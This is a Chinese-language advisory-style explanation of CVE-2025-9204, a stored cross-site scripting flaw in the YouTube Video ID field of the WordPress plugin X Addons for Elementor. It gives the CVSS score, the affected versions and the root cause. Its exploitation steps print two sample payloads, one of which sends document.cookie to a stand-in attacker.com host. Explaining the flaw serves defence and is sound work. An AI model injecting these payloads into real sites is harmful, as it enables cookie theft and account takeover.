CVE-2025-9204CVE-2025-9204是WordPress插件X Addons for Elementor中存在的一个存储型跨站脚本(Stored XSS)漏洞。该插件是一个Elementor页面构建器的扩展组件,提供了包括YouTube视频嵌入在内的多种页面元素组件。该漏洞存在于插件的YouTube Video ID字段中,由于对用户输入缺乏充分的过滤和转义处理,攻击者可以在该字段中注入恶意的JavaScript代码。
该漏洞的CVSS 3.1评分为6.4分,属于中危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要低权限认证(PR:L),无需用户交互(UI:N)。成功利用该漏洞后,攻击者可以在受影响的页面中执行任意Web脚本,当其他用户访问这些页面时,恶意代码将被自动执行。
该漏洞由WordPress安全公司Wordfence的安全研究员发现并报告。由于该插件允许贡献者(contributor)级别及以上的用户编辑内容,因此任何拥有贡献者权限的认证用户都可以利用此漏洞。存储型XSS的危害较大,因为恶意代码会持久存储在服务器端,每次用户访问受影响页面时都会执行,可能导致会话劫持、权限提升、恶意软件分发等多种攻击。
该漏洞影响该插件的所有版本直至1.0.16(含)。Wordfence已在2025年10月3日公开披露此漏洞,建议所有使用该插件的WordPress站点管理员尽快更新到修复版本。
该漏洞的根本原因在于X Addons for Elementor插件的YouTube Video ID字段未对用户输入进行充分的清理(sanitization)和输出转义(output escaping)。具体来说,在插件的xa-hero.php文件中,第723行附近的代码直接接收用户输入的YouTube Video ID参数,并将其嵌入到页面输出中,而没有使用WordPress标准的安全函数(如esc_attr()、esc_html()或wp_kses())进行处理。
从技术角度看,存储型XSS的利用过程如下:
1. 攻击者首先需要拥有一个WordPress站点的认证账户,权限至少为贡献者(contributor)级别。这是因为该插件允许该级别的用户使用Elementor编辑器创建和编辑内容。
2. 攻击者在使用X Addons for Elementor的Hero组件时,在YouTube Video ID字段中输入恶意的JavaScript代码,而不是正常的YouTube视频ID。典型的Payload形式如:"abc123\"><script>alert(document.cookie)</script>" 或使用事件处理器如 "abc123\" onload=\"fetch('https://attacker.com/?c='+document.cookie)\""。
3. 由于插件未对输入进行过滤,这段恶意代码被直接保存到WordPress数据库中。
4. 当其他用户(包括管理员)访问包含该组件的页面时,恶意脚本将在受害者的浏览器上下文中执行。由于脚本在站点的安全上下文中运行,攻击者可以窃取用户的会话Cookie、进行权限提升、重定向用户到恶意网站,或者通过管理者的权限执行进一步的攻击操作。
5. 该漏洞的范围(Scope)发生了变化(S:C),这意味着漏洞的影响超出了其直接组件的范围,可能影响到整个WordPress站点的安全。